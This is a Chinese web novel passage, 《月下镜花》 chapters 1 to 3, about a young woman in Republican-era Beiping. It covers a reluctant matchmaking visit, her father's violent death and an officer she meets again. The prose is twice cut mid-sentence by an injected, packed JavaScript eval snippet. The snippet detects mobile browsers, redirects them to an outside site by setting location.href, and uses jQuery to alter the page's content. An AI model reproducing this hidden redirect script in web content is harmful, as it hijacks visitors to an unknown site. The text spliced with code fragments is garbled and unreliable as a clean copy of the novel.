《月下镜花》 1. 第一章 入夏,姮音刚毕业没多久。 有天,王兰拿出一身新衣裳,上衫下裙,上面是莲青色,长裙是浅粉,穿在身上很是清雅。她对姮音说,带她去个地方,姮音不明所以,问妈妈要去哪里,王兰只说到了她就知道。 走到火神庙旁的珠玉楼,姮音才知妈妈这是领自己置办首饰来了。姮音对这些玉石珠宝不算热衷,但王兰看起来兴致很高,就由着她张罗。 刚买回家,姮音总是把玩着这两对耳坠,把它们拿到耳朵边来回比对。这时候她还只是觉得只是买了就好了,但是很快她就发现,妈妈忽然带她去买首饰是为什么了。 又过几天,刘媒婆上门和王兰谈她的婚事。她们在里面谈,姮音就在屋歪头蹲着玩蚂蚁,听了半天,半道被叫进屋里,媒婆看到姮音就夸她一看就是读书人的样子,文文静静的,多好。姮音干笑着客套,说自己不过是多念了几年书。 结果媒婆听了更开心了,说姮音这样的才是大家闺秀,这书念得值当,清白人家的大家闺秀就适合嫁去那种家底厚实的,两头都能落了好。她越看越满意,又说了许多,才心满意足地告辞,临走前还拍着胸脯保证,定要替姮音寻一门好亲事。 姮音心里不大情愿,但是要激烈地反对妈妈,把家里闹翻了天,自己也不是很想这么干,只能先勉强答应下来,走一步看一步了。 反正相亲,又不是一厢情愿就能定下的。 姮音还说要走一步看一步呢,结果下午就又过来,说明日就要姮音去跟她一同去相亲,还让姮音打扮体面一些,姮音傻了,想来想去,只能拿出个笨法子应付。 她跑到家里八百年不开的衣箱子翻找。 最后挑了一件殷红的旗袍,颜色和款式都是旧式的。颜色是红中透着暗,喜庆却沉郁,料子虽说是顺滑吧,就是有些厚了,大夏天穿着怪热的,裙摆和肩膀用黑线勾着大朵的花,款式也绝不是当下时兴的。从上到下简直可以说是陈旧的古怪,尤其她为了看着协调些,还蹬了双绣鞋。 她记得这是妈妈的旧物,也不知是谁送的,但她从来没穿过,姮音觉得稀罕,就拿过来了。 姮音穿上,简直可以说是惊世绝伦。 像刚从三十年前爬出来,还没适应民国生活,还非要套上新衣服的清朝人,可不就惊世绝伦吗。 姮音两眼滴溜溜转了一圈,举着镜子,掏出盒廉价胭脂,用力拍在脸颊上,上妆动作有点笨拙,搞得自己被浓烈花香呛到,咳嗽了半天,把盒里的香粉涂在脸上,粉末乱飞,姮音前仰后合地打喷嚏,眼角都被搞红了。 王兰在外面问她:“你怎的啦?” 姮音喊道:“没事啊!我没事!” 喊完,她又连打三个喷嚏才消停。 她把镜子放在书桌上,把自己的长发绑起来,在脑袋后面绕啊绕,盘成发髻,就是手艺生疏,有几根不听话的发丝在脖子那块翘起来,姮音心累,也就不管了。 瞅着镜子里的自己,远看,似乎是有点像大人了,粉白皮肤,殷红旗袍,可是凑近了细瞧,敷了这么多东西,还是很青涩,像小孩偷偷穿了大人的衣裳,努力扮老成,但哪哪都不协调。 姮音冲着镜子咧嘴笑了笑。 管他呢,丑就丑呗,就是要这个功效。 王兰推门进来,本来是要催促她出门的,看到姮音这样子,哭笑不得:“你怎么把自己搞成这样,现在重新弄也来不及了,这样也好,显得庄重。” 姮音点头:“我也这么觉得。” 她妈妈对她,一直都是盲目自信的。 王兰迟疑道:“你要不把耳坠戴上?” 姮音摇头:“我不要,那就隆重过头了吧。”其实是她嫌麻烦,还不如让媒婆早点带她走,一锤定音,完了还能让这暑假消停点。 正想着,刘媒婆就准时来了她家,一进门看到姮音,先是愣了,紧着立刻就堆起笑容:“哎哟喂,姑娘这一打扮,可真是……” 她可真是了半天,也没找出个妥帖的词。 清澈的眼,年轻的身,浓艳的妆,古老的衣,她活了半辈子,没见过几次这般搭配,只能干笑两声,勉强道:“挺精神的,精神得很,走走走,别让人家等急了。” 于是,姮音就这么被刘媒婆拉出了家门。 北平的夏天燥热,这身不大合时宜的旗袍穿在身上实在闷得慌,姮音感觉自己后背已经沁出汗了,把衣服黏在身上,很不舒服。 几滴汗滑下来,恐怕脸上的粉要花了,她也不敢擦,只用指尖蹭了两下瞧了瞧,应该没有完全花,她也就放任不管了。 黄包车一直往东走,带起凉风,还挺舒服,最终,她们在一处高门大院的后巷停了下来。 “到了到了。”她跳下车,指着一扇不起眼的小门,对姮音说,“喏,从这儿进去。” 这扇黑漆漆的侧门仅容一人通过,姮音盯着,怎么也迈不开步子,她想象中的相亲,就算不是饭馆茶楼,也该是个正儿八经的地方吧,怎么相个亲直接相到人家里去了。 姮音问:“刘婶,我们真就在这儿见?” 刘媒婆啧了一声,给姮音解释:“我的好姑娘哟,您可别挑拣这个,您知道这是谁家吗,里头这位可是参军的,他爹可是金陵的官老爷,人家是什么身份?能答应相看,已经是天大的面子了。” 姮音无奈:“婶子,我不是说这个。” 但媒婆还是没理解姮音为何不情愿,又给她热情介绍着:“少爷性子是有点倔,军爷嘛,脾气上都不是很好伺候,人家本来不愿意相亲的,老爷太太拗不过他,只好委屈姑娘您移步了。” “这还是不太合适吧?” 这样进去,像什么样子,姮音总是自认为自己开明的不得了,结果到了这种事上,她发现自己还是比较保守的。 刘媒婆也没办法了,语速飞快:“我的大姑娘,这有什么不合适的,人家是什么门第,能踏进这门槛,多少人求都求不来呢,你听婶子的,这一家是最好的了,亲事要是能成了,你这半辈子都不愁了。” 她的话姮音只听了个半截,现在自己脑袋里是一片乱,就跟被脂粉堵住了。 “快进去吧,别让少爷等久了,回头老爷太太怪罪下来,我可担待不起。” 刘媒婆不再等姮音犹豫,直接把她拽进了侧门。 门内是条狭窄的小道,两边都是幽暗的竹林,看不清宅子里面是怎么样的。姮音踉跄着,扶着门框才没踩到旗袍下摆,摔个狗啃泥。 姮音别无他法,反正进都进来了,就跟住媒婆,和她一起走,媒婆这才放开抓着姮音的手转而劝她努力把这次的相亲搞成了。 两人穿过夹道,眼前开朗起来,假山玲珑,花木扶疏,有点借鉴南方山水园林的意味,但姮音无心欣赏。 她被媒婆带进一间偏厅。 厅堂不大,陈设考究,一张待客的圆桌,铺着缀有蕾丝的桌布,几乎要垂在地上,刘媒婆把姮音摁在桌边的圆凳上,低声嘱咐:“坐着别动,也别乱看,少爷一会儿就来。” 说完,便退到门边等着去了,姮音心想,媒婆这碗饭也不是容易吃的,这笑功换成她自己,肯定是练不成的。 姮音如坐针毡。 她根本不知道这家大宅子的主人是谁,媒婆口中的少爷又是谁,以她家里的情况,连打听都不知道从哪里打听,只能从媒婆上门那天的只言片语里知道点消息。 说是厉害,厉害的很呐,可是姮音又不是奔着想知道这个来的。 那天,媒婆和妈妈在屋里谈她的婚事,姮音就蹲在石榴树下的阴凉里,盯着地上忙碌的蚂蚁看。它们排成线,钻进石缝,驮着碎屑出来,不知疲倦。 刘媒婆说:“您就放一百个心吧,咱们家这样的姑娘,打着灯笼也难找。模样儿周正,性子又温顺,更难得是肚子里有墨水,正经女校毕业的,您想想,这年头有几个姑娘能念到高中,更别说马上就要进华京大学了,这是多体面的事。” 王兰犹豫地说:“可是我们家这情况你也知道。” 媒婆哎呦一声,又道:“这怎么了,你们家什么事都没,你家闺女多长脸啊,说出去,谁不羡慕,多少体面人家都托我打听呢,就想娶个这样知书达理,能撑门面的媳妇回去。” 姮音听到这句撑门面,差点没笑出来,就算是嫁人,自己也不是去当台柱子,放在家里给家里房顶支起来。 但长脸这个她否认不了。她们燕北附属女中是不仅是燕北大学,还是华京大学指定的高中之一。她成绩好,被几个老师推荐到了华京大学,虽然燕北大学也很好,可是能去华大,她就不考虑燕大了。 她伸出手指,把蚂蚁的队伍从中间拨开,把土划出一道凹痕,蚂蚁们被她打扰得四处乱转,又很快聚拢成新的队伍,继续往前走,搬运着土块。 妈妈的声音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389858|184236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 响起,听起来应该是被媒婆说动了:“刘嫂子说的是,就是这孩子啊,心思还在念书上头,总说要把大学念完。” “哎哟我的天,念书是好事,但毕竟是个姑娘家,终身大事更要紧,就算念了大学,也不耽误成亲的,您说是不是?” “倒也是,我是希望她能安定下来的。” 刘媒婆夸张地说:“找个好人家,安安稳稳过日子,不比什么都强。再说了,您也清楚,外面乱哄哄的,早点把姑娘嫁出去,您也省心啊,对不对?” “是这么个理。” “我手里这几家,可都是殷实人家,有开绸缎庄的,有在上面里做事的,还有家里好几进大宅院的少爷呢!您家的姑娘嫁过去,就是享福的少奶奶,到时候,您还愁什么?” 王兰摇头:“我不盼她做什么少奶奶,只求能一世平安。” 要是结婚能保平安,大家早就长生不老了,姮音在心里说。当然这话不能直接说出来,要不然就成了落人家面子了。 姮音轻声叹气,自己这身打扮,和这个地方简直格格不入,脸上厚厚的粉变得黏腻腻,估计已经有些花了,好在这处偏厅在阴处,外面接着长长的走廊,草木繁盛,遍地阴凉,吹进来的风都很凉爽。 她勾了勾衣领,放松些许,心想这种大户人家,见惯了大家闺秀,留洋小姐,怎么会看得上她这样刻意扮丑又小家子气的呢,媒婆说的话恐怕就是哄人的。 她干脆破罐子破摔,侧过身,把手搁在桌上,直起的腰也塌下来,一只穿着红绣鞋的脚有一下没一下地踢着光滑的木地板。 嗒嗒嗒,像跟着挂钟一起打摆子。她低着头,百无聊赖地玩起来额头的碎发,心里默念着快嫌弃我吧,快打发我走吧。 十二个时辰成了三十六个时辰,越过越慢。厅外偶尔有仆人轻手轻脚走过的身影,但媒婆口中的少爷却始终没有出现,姮音踢地板的动作渐渐慢了下来,她等得都要困了,伸手掩着嘴,想打个哈欠。 就在这时,有人来了。 他逆光站着,姮音乍没看清脸。 媒婆说:“人在里头呢。” 姮音眯起眼,稍微看清了点,英气逼人,剑眉星目,眉宇间有着显而易见的不耐烦,一看就是被迫来应付。她瞧着总觉得眼熟,却想不起来在哪里见过, 他也没答媒婆的话,而是直接走了进来,整着袖口,随意看了眼厅堂里坐着的少女。 四目相对。 记忆中打扮清雅简单的女学生,现在脸涂得和猴子屁股一样,还穿着奇怪的衣服,忽然在自己家里冒出来,萧牧河不知道是该觉得惊愕还是直接笑起来。一瞬间,他的不耐烦连同审视都插上翅膀扑棱棱飞得再也看不见。 他似笑非笑地问:“怎么是你?” 姮音彻底傻了,也说:“怎么是你?” 她猛地站了起来,动作太急,椅子腿在光地板上刮出刺耳的一声。 萧牧河背着手,在她跟前左右绕了绕,问:“怎么半年没见,就成了个小哑巴,明明是记得我吧?” 其实刚才确实没记起来。 姮音脸颊发烫,下意识蹭了蹭脸,手心糊了浅浅一层脂粉,她打着哈哈,小声说:“我是来相看的。” 荒谬至极,她自己都这么觉得。 她不像是来相亲,像是来唱戏的。 站在门边的刘媒婆,见两人是旧相识,还有说有笑的,她赶紧蹑手蹑脚退了出去,两手缠在一块,笃定这门亲事是有门儿了。 他重复了一遍:“相看?” 话中笑意更浓,他这般似水似云似风的态度,实在是让姮音琢磨不透。他刚才还是不悦的,怎么转眼就笑得这样开心了,总不能是看自己的好戏吧。 姮音说:“是,是来相看的。” 萧牧河新奇的不得了。 他曾在档案上看过,在胡同里远远望见,因为自己多管闲事,说了几句安慰话的女孩,在雪静的北平城,偶遇在街边卖旧书的她。 时隔半年,她像一只不经意飞来的鸟儿,在自己刚置办不久的宅子里,就这么出现了,她甚至还说要和自己相看。 在萧牧河的印象里,她很小,懵懂又纯粹,说气话来会认为她很天真,可能因为她还是个学生。可是,突然之间这个小孩子穿起大人的衣裙,要和相亲了,怎么会不让他觉得新奇,这股新奇的劲头促使他多探究,再多探究一些。 2. 第二章 在和他相视的瞬间,姮音想起了和他的两面之缘。一次是在秋天,于亲人悲伤的死亡之中,姮音记住了他的脸,另一次是在冬天,他偶然路过自己的书摊,姮音记住了他的名字,萧牧河。 民国十七年。 她还在上女校。 这一年,新旧交替,时局动荡,但是老百姓的日子该过还得过。按照姮音的想法,稀里糊涂地活,也是活,活着总比死了强。想是这么想,人啊,往往是言不由衷。 她在女校的成绩好,除了动乱她一定会按时按点地上学和放学。不仅如此,她还受老师喜欢,都愿意和姮音多聊几句,也很鼓励她从女校毕业后继续考学。这是她的盼头。 虽然她在思想上有些悲观,实际上姮音却没真的稀里糊涂过下去。 秋天的风干爽,吹着裙摆摇曳。她挎着书袋,沿街往家走,她家在胡同最里头,看到有株长出墙头的石榴树,拐过去就是她家的小院。 推开家门,妈妈正坐在树下洗衣裳,有一搭没一搭地盒隔壁的王婶唠嗑,王婶坐在树底下,手里捏着把瓜子,棉鞋边落了一小撮瓜子壳,估计是来得早了,已经聊了有一阵子。 王兰对女儿的脚步声已经烂熟于心,老远就知道是姮音放学回来了,她头也没抬,拧干衣裳丢进旁边的大盆里,顺便问她:“闺女啊,今个在学校怎么样?” “都好,李老师又夸我了,说我作文写得好。”姮音应道,拉开屋门把书袋放下。 “就行。” 王兰出身不好,年轻的时候没少过苦日子,人到中年才安稳了。她最怕的就是姮音在学校里受人欺负,虽然姮音不厌其烦地说过,老师们还挺喜欢自己的,可王兰总还是忧心忡忡,免不了在她放学回家的时候多问一句。 姮音也会告诉她,在学校里发生了什么,只是她只捡着好听的说,不会让妈妈多操心。王兰不是恨了解学校,姮音说什么,她也就信了,也是多亏了姮音是个文静的性子,从来没和别人起过冲突。 王兰听姮音这样说,也就放下心,继续和隔壁王婶说城里头三天两头的乱,老百姓做点小生意都难做。姮音知道她们为什么聊这个,因为在几天前,胡同里有个姓刘的出去卖早点,结果被砸了摊子,伸了几天冤又不了了之了。 姮音走出屋里,瞧了一眼自家的小院子,今天风大,刮的枯叶这一片一片,看起来乱糟糟的。她把两只袖子挽起来,拎起放在门边的大扫帚,把它们扫到一起堆拢在石榴树下。 王婶用脚把瓜子壳往拢了拢,方便她扫走,她看着姮音利落地干活,不遗余力地夸她是个老实孩子,王兰听见她说自己女儿的好,也不推辞,大大方方认了。她只有姮音这一个女儿,自然是要当眼珠子一样宝贝着。别人夸姮音什么,她都爱听,心里也认。 只是,姮音千好万好,就是可惜摊上个不负责的爹。城里头天翻地覆的闹腾,他倒好,连家门都没踏进来过一回。一次都没有。想到这里,怨气就和烧开的水一样,在心里直冒泡。 她哀叹一声,拧着衣服。 今年姮音放暑假,她们母女俩整日里躲在家中,连窗户都不敢开。街上隔三差五就响起砰砰的枪声,有时远,有时近,开始每次听到都吓得浑身抖,后来听习惯了也就麻木了。 可她口子,东方家位满腹经纶的大儒生,说是去读圣贤书,寻求自己的大道理了,却把她们孤儿寡母扔在这乱糟糟的城里,不管不问。她想抱怨两句,可话到了嘴边,心里觉得没意思,也就不说了。 衣裳洗完,姮音也把院子扫干净了。 王兰不用叫她,她就放下扫帚,走到母亲身边,把盆端到粗绳底下,拿起靠在墙边的细长竹竿,把拧成一团的衣裳抖搂开,踮起脚一件件挂上去。 姮音说:“妈,你也别太丧气了。” “太平?” “起码,现在比前几年太平。” 王兰把手上的水甩了甩,“哪能这么容易呢,老天爷翻脸比你翻书还快,看看老黄历,上面就没有一天安生日子。” 她要扯起来自己年轻的时候了,可是话没说完,就被一阵喧哗打断。 喧哗声是从胡同口传来的。 不是小贩走街串巷的吆喝,也不是街坊邻居拌嘴吵架。声音嘈杂,应该是许多人聚在一起,七嘴八舌地议论着什么,时不时有几声惊呼,仿佛在平常百姓家发生了什么不平常的大事。 姮音说:“我去看看。” 王兰嘱咐:“和咱无关的你别掺和,省的有什么麻烦。” 王婶把衣服上的碎屑拍了拍,也站起来,和王兰说了几句宽慰的话,姮音没仔细听,大约是有关她爸爸的吧。 她把最后一件衣裳挂上去,拿起毛巾擦了擦湿漉漉的手,走到院门边,把两只手搭在门框上,探出脑袋往外瞧。 胡同里本就不宽,此刻已经站了不少人,都朝着西头张望。 她抻着脖子,从门缝里向外瞧。 原来一队兵正站在胡同口,他们堵住了胡同口,但姮音听不到具体发生了什么,他们只是站在里,也不知道是在等什么。 上一次看到有成群的兵过来,还是来搜人的,姮音才十岁,她吓得哭了半天,可是还没等搜她们家,他们就找到了要搜的人,很快离开了。妈妈说,不要乱惹事,能保命。 这年月,当兵的出现在跟前,能有什么好事,她们躲还不及躲呢,居然招到家门口了。 畏惧让她总是看一眼就往后挪,躲回门后,却还是因为好奇,又慢慢把视线放到这些人身上。 他们安安静静站着,没有吆喝,没有踹门,看样子也没有朝胡同深处闯进来的打算。即便如此,周围的人也隔了老远,没有谁敢真正靠近,好像中间空出来的地方可以缓解心中的不安。 有的小声议论,有的伸长脖子,像她一样,却不敢直视这些人,有的人面上甚至多了些悲伤,用姮音的感觉来说,这悲伤叫做,兔死狐悲。 可惜他们硬邦邦的面孔上没有端倪,怎么看也没个所以然,但始终没人敢上前问。若是平常的话,总有几个胆大又圆滑的上前去打圆场,主动开这个口,总不会像现在这样僵持着。 姮音敏感地察觉到不寻常的地方。 他们站得太密,她眯起眼睛细看,才发现士兵们腿脚缝隙后,还躺着副担架。 两根粗木棍子,上面搭着块白布。布铺得并不平整,能隐约看出个僵直的人形轮廓,纹丝不动躺着,不论姮音怎么看,怎么盯着,这个轮廓都没有一丁点起伏。 不是活人。 没由来的惊慌充斥身体,把畏惧,好奇和事不关己的冷淡都吞没,只有惊恐。姮音甚至猜测,躺在这些人后面的尸体,会不会是哪个认识的人。 这个想法实在是太不吉利了,姮音唾弃自己,怎么会有这么晦气的念头。不可能的,怎么会呢,怎么会牵扯到生和死呢。她们这种普通的,不能再普通的人,平平无奇地活着,再平平无奇地死了,为什么要被横插一脚无端祸事。 姮音在心里否认,但人却已经走出来了。 等她意识到自己站在这队兵面前,打算询问的时候,早就来不及临阵逃脱了,邻里看到姮音走出来,谁也不说话了,只盯着姮音,瞧她要说些什么。姮音把声音从肚子里用力提起来,她说:“各位军爷,你们是找谁家?” 兵堆没动,一个穿着大衣的男人从胡同口走了进来。他似乎刚和人说完话,另一个穿着军装的高大男人留在胡同口,姮音只能看到他的一点背影。 这个穿大衣的男人,五官斯文,眼底下有道疤,搭配上下三白眼,就非常凶神恶煞。 他问:“东方英,住在这里?” 姮音说:“对,我是他女儿。” 她还抱着侥幸,祈求着相隔几米远,但她却根本不敢看一眼的尸体和自己的爸爸无关。可是她心中的预感却越来越强烈,自己也被逼得浑身发抖,好像掉进了昏暗的地窖,连气都喘不过来。 为了印证自己的猜测是错的,姮音问他:“他怎么了?” 他说:“你爸爸是为国家而死的。” 轰的一下,好像有什么东西炸开了。 姮音摇头:“不对,不对啊,他现在应该在学校的,怎么可能死了,这不是我爸爸!” 男人无情地说:“就是东方英,如果你不打算认领,只好让我们处置了,赶紧认了,拿了钱,也好入土为安。” 姮音追问:“他是怎么死的?” “这个么,我是无可奉告了。” “什么是无可奉告,我爸爸就这么不明不白的死了,你把他的尸体带过来,却说无可奉告?”姮音难以置信地说。 男人被她质问得很不耐烦,眼睛往上瞟了下,又居高临下地睨了眼姮音,把手插在大衣的口袋里,好像表明了事不关己高高挂起的姿态,不打算理会姮音的诘问。 姮音甚至在想,是不是这些人就是凶手。 男人往前走,姮音还想说什么,他压着声音低吼:“闪开!听不懂人话吗?” “让你办个事儿,这么难。” 他的脚步悄无声息,等到他站在姮音身后,开口说话,她被狠狠吓了一跳,才发现有个人。 男人的气焰消散大半,他半低头,说:“是我一时着急了。” 姮音转身仰起头,先是看到他的军装,样式料子比一般的兵要好多了,再看清他的脸,不怒自威,令人生畏。大约是个官儿吧。要不然旁边的兵也不能一个个呼吸都安静了。 他先是看了眼姮音的学生裙,领口绣着校徽,燕北大学附属的女校。一个人,身上的痕迹往往能比这人说了什么更能代表身份。这片胡同里,也只有一个人在燕北附属的女校读书,这个人就是东方英的女儿,东方姮音。 姮音撑着胆子,接受他平静的审视。 他问:“让她确认身份了?” “还没。” “赶紧的。” 姮音木然地看着男人抬抬手,两个士兵立刻会意,从队列里站出来,弯腰抬起盖着白布的担架,朝着自己走了过来。她摇着头往后退,再往后退,好想跑,只要逃开这件事就没有发生。 实际上姮音只是踉跄着向后蹭了两步。 或许是秋风把覆在担架上的白布掀起来一个角,又或者是行走间的颠簸,姮音清清楚楚地看到一只不属于活人的手,僵硬弯曲,骇人的青灰色皮肤沾着干涸发黑的血迹,无力地朝着大地垂落。 姮音呜咽着,本能地就要朝担架扑过去,可是,有只手却稳稳地按在了她的肩膀上。 他的手臂横在姮音身前,力道并不凶狠,甚至是刻意的收敛,即便如此,就算只是轻轻一搭,对她来说也过于重了。 他轻而易举把她拦了下来,姮音在心里欺骗自己,不是东方英,实际上她已经认了出来,她紧紧抓着他军装的衣袖,徒劳地挣了一下就几乎要跪倒在地,戴着皮手套的手却纹丝不动。男人看着姮音,就像是在看待一个孩子,刚刚得知失去至亲的,无助的孩子。 男女大防用在孩子身上,就是过了头。他弯曲手臂,把姮音捞着,免得她摔了。 按理来说他也不算接了这个活,用不着他出面。办公厅和警察厅的人吵来吵去,互相推诿责任,他一个帮忙抓人的被迫旁听,觉得头疼,想着正好顺路,督促办公厅的人把抚恤金送到就得了。谁曾想,这都能三言两语呛火药。 自己这个别人眼里只会杀人的煞星 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“有人诬陷,被抓了,本来我们能放他回学校教书的,可惜还是太晚了。”他言简意赅,并没有因为她苍白的脸色就变得委婉,话说完了,又安慰似的说,“虽然有些波折,但他的确是为了国家的事业而死的。” 姮音忽然想笑。 原来真相居然是这样。 男人拿出满满一袋子银元,让姮音伸出手,可是她的手抖的不成样子,他握着姮音的手腕,把钱塞到她掌心,“拿好了,这些钱够你们生活,也够你上学。” 姮音问:“这是什么?” 他解释这袋钱的来源:“诬陷你父亲的人是叛徒,被人出卖遭到我们的追捕,他把错归到你父亲的头上,为了泄私愤,没等放出来就找人给他打死了,这是警察厅的纰漏,逮捕令是政府办公厅签署的,为了平事,给你发了抚恤金。” 真相总是残酷的。他被打死了。不是病死,不是意外,是被打死的。死亡背后的事,是她根本无法理解的复杂,最后的最后,只剩下一袋子银元,是他给的抚恤金。 妈妈总是害怕她们家招惹上不该惹的人,她觉得只要老老实实的,只做好分内的,把两只耳朵堵上,就可以掩耳盗铃地好生活下去。可是东方英觉得,这世界需要他说什么,他像是一把干柴,不知道往有水的地方跑,只想成为飞蛾扑火的殉道者,最后却死得如此荒唐。 好像从一开始,她和他就已经分道扬镳。 滚烫的眼泪涌了出来,顺着脸颊往下淌,她攥紧了钱袋子,仿佛这些钱是她唯一能抓住的东西。 看他要走,姮音问:“诬陷他的人呢?” 他不应该多说的。不过反正叛逃的和受罪的都死了,而不管是前者和后者,都和他本人没什么关系,他只是临时作为第三方被调去善后的,既然如此,他为什么要为连这种事都办砸的蠢货保守秘密呢。 他说:“死了,追捕的过程中他持枪伤人,被打死了。” 姮音这才抹着眼泪,想认真看他一眼。 但她根本就看不清,他的五官和眼睛都在泪水中模糊,成了一片摇晃的蓝。 离开前,他说:“你是个好孩子,以后拿着钱好好生活。” 姮音却说不出一个字,她捧着钱,大声哭泣着,眼泪滴在衣襟上,袋子上,落在土地上。她和东方英的关系早就不算亲近了,但失去亲人本身,就是一件足以称之为创伤的事。 她对东方英的感情好像停留在小时候,她越长大,他就走得越远。 直到再也看不见。 “英哥!” 一声凄厉的呼唤。 王兰喊出丈夫的名字,可是没有人回应,尸体怎么可能回答活人呢,但她还是嘶力竭地呼唤,一声又一声,执着地非要他开口才算罢休一样。 姮音走出这个偏僻角落,她妈妈正抓着白布一角,掀开,白布之下并不是她记忆中爸爸方正温和的脸。这个尸体的脸已经肿胀变形,青紫交错,布满淤痕和血污。 王兰像被铁锤砸中脊骨,扑在东方英的尸体上,发出肝肠寸断的哭声。 姮音走到妈妈身边,俯下身,伸出手,她把白布盖回尸体上,遮得严严实实。 王兰见到姮音,像溺水的人找到了唯一的依靠,她用力地抱住姮音,力气大得要将人勒断。母女俩紧紧相拥,在死亡面前蜷缩成一团。 周遭邻居这才上前劝慰着,姮音一时间听不清他们到底在说什么,就在这片混乱之中,不知何时,他们已然无影无踪。悄无声息地离开,如同来时一样突然,仿佛从未出现。 真像佛龛前一缕。 被风吹散的,寂灭的梵烟。 3. 第三章 度过了一个艰难的冬天,又是春去秋来,起先是下点小雪,作为提醒似的,很快断断续续几场鹅毛大雪,风扑在脸上,简直要冷穿了骨头。 正好她也放假了,天好的时候,姮音就出门去了。 上午,姮音穿上黑色厚棉袄,拖上大包袱,里头都是她整理出来的旧书,大多是东方英的遗物,已经抄录完重要的内容,在家里放着也是放着,就包起来拖出去卖了。 她选了个背风的赶紧地方,放下包袱,解开粗绳子,把书抱出来,排成一列,姮音弯着腰,把书摁着紧了紧,免得没过多久就变成盘散沙,然后就蹲坐在从家里拿的小凳子上,等着路过的人来买。 头几天,生意冷清,很少有人驻足,姮音把手揣在袖子里,无聊地用脸蹭围巾,昏昏欲睡,偶尔有人停在摊子前,随意瞅两眼,要是问价钱,她就扒拉着围巾报个数,要是不想买直接走了,姮音也不出声挽留。 下午的时候,姮音吃了饭,歇够了,就去和胡同里的女孩子们踢毽子,有和她差不多年级的,还有比她小很多的孩子,凑在胡同口旁边的空地,虽然都穿着臃肿的棉袄,一个个圆溜溜的,但是并不妨碍她们玩闹。 毽子是一个圆脸丫头自己做的。几枚铜片做底,中间打个小孔,插上几根鲜艳的公鸡毛,要杆粗点的,踢很久都不会坏,先用细麻绳把铜片绑紧,再在铜片外面缠上布,就大功告成了。 一开始大家都做的,但是数这个丫头做的最好,每次来玩,就让她别忘了拿过来。不过,要是踢起来,姮音才是耍得最好的一个。 有的踢上三五个,毽子就掉在一边了,怎么踢都不能连续来,但姮音能一口气踢上几十个,能用右脚,还能用左脚,能把脚尖勾起来,抬起腿踢上去毽子,还能往后用脚跟把要飞到一边的毽子再踢回来。 姮音绑着两条的辫子,她跳起来的时候,两条辫子也跟着在背后跳动,发尾的红绳像是年画上的鱼尾巴,甩来甩去。 如果踢得数多了,女孩们就围着姮音,一起数啊数,看看姮音究竟能踢多少个,她们把姮音盯害羞的时候,她就会马前失蹄,把毽子踢飞,女孩们捂着脑袋哄笑,生怕毽子落到自己的头上。 姮音也跟着她们一起笑起来,鬓发和鼻尖沾着汗珠,一张开手臂,衣服里的热气都扑到脖子上,她迎着凉飕飕的阳光,笑得很开心。 认识姮音的人对她的第一印象都是很文静的小女孩,但事实上姮音的性格底色有非常乐观活泼的一面。可她也不像是随时随地散发热量的小暖炉,更像是被装在玻璃瓶里,五颜六色的玻璃珠,放在太阳下一晒,就是五光十色的。 妈妈怕她读书读成死脑筋,但姮音爱玩爱笑,喜欢别人陪她玩幼稚的游戏,给她讲幼稚的故事,她想读书,单纯只是因为她想而已,这个年纪的姮音,还没那么远大的理想,也没有对未来有高瞻远瞩的见解。 她和所有这个年纪的女孩一样,马上要长大成人,用很小的声音叽叽喳喳讨论着成年人的世界,不知是向往,踌躇还是单纯好奇而已。 天黑之前,趁着还暖和,王兰带上几个铜板,去胡同口,问姮音去不去庙会。临近年关的一整个月,城里庙会多的不行,但也只有过年前后最热闹,她当然要去。 姮音和妈妈一起去火神庙,还没摸到门槛,远远就看到庙会摊子从门外一直排到街口,临近傍晚,还是有许多人。摊子上卖什么的都有,平日里做饭扫地的家伙事很多,古玩字画也不少,小吃那是更多了。 一溜烟排过去,看都看不过来。 母女俩慢慢地往前走,并不买什么,只是看。姮音觉得好玩又新鲜,尤其是古玩摊子上,且不论真假,花样倒多,这个摊子有卖铜马的,旁边就有卖铜牛的,两个还要拿起来,站在一块,比比价格公道不公道,这可比玩意儿本身有意思多了。 王兰有时候说这个太贵了,买回家也是放着,没有用处,有时候说这个便宜,但是家里早就买好了,多买了也没人用。姮音跟在她身边,嗯一声哦一声地应和着。 姮音觉得很妙的地方,是杂耍场子和小吃摊子对边摆着,东边买了吃的,往西一扭,就能看两个大汉在摔跤。 母女两个吃完半袋炒栗子,也走到了庙门前,火神庙大门敞开,还没走进去就能闻到香火的味道,也不知这道长们用的什么香,闻起来一点也不头晕,甚至吸两口还觉得头脑清醒,肯定用的是上好的香。 人们双手持香,虔诚地朝着四方神明躬身,每座殿里都跪着人,前面的人拜完了后面的人就接着去拜,姮音被周围人的尊敬感动,心中也静了下来。 姮音也学着妈妈的样子请了三炷香,点用火神庙自己备好的灯烛点燃,她也不求什么,只是每个殿都进去,在神像前恭恭敬敬地磕头。 有的抱着啼哭的孩子拜娘娘神,孩子脸色并不大好,身上还有药味,有的是七八岁的孩童,垫着脚把考卷塞到神将的脚底下,要是求学业的话,还真是新奇的法子,有的是和姮音差不多年纪的少女,聚在月老门前抽签,抽完了还要互相看看对方的签文是什么。 老人们最信这些,头发都花白了,还要三跪九叩,头久久低着,怎么也不起来,香雾在头顶盘旋着消散,不知在求些什么。 妈妈把从路上买来的瓜果放到供台上,又阖眼念叨了几句爸爸的名字,才从殿里出来,姮音和她一起离开。 往回走的时候,姮音才发现火神庙旁边新开了一家首饰店,招牌是黑底金字,写着珠玉楼三个龙飞凤舞的大字,下面还有行小字,金陵老字号。原来珠玉楼是从南边开过来的,怪不得之前在北平没有看到过。 金陵二字一出来,姮音都觉得这家店都有股江南水乡,秦淮河畔的韵味了。 